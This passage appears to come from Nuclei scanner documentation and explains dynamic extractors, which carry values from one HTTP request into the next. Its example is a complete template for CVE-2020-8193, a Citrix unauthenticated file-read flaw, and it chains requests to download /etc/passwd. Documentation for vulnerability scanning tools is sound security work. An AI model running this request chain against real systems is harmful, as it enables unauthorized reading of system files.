In Nuclei, It is possible to extract value from one HTTP request and share/reuse it in another HTTP request. This has various use-cases like login, CSRF tokens and other complex.This concept of value sharing is possible using Dynamic Extractors. Here’s a simple example demonstrating value sharing between HTTP requests.This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
id: CVE-2020-8193info: name: Citrix unauthenticated LFI author: pdteam severity: high reference: https://github.com/jas502n/CVE-2020-8193http: - raw: - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: application/xml X-NITRO-USER: xpyZxwy6 X-NITRO-PASS: xWXHUJ56 <appfwprofile><login></login></appfwprofile> - | GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | GET /menu/neo HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | GET /menu/stc HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: §randkey§ <appfwprofile><login></login></appfwprofile> - | POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: §randkey§ <clipermission></clipermission> extractors: - type: regex name: randkey # Variable name part: body internal: true regex: - "(?m)[0-9]{3,10}\\.[0-9]+" matchers: - type: regex regex: - "root:[x*]:0:0:" part: body
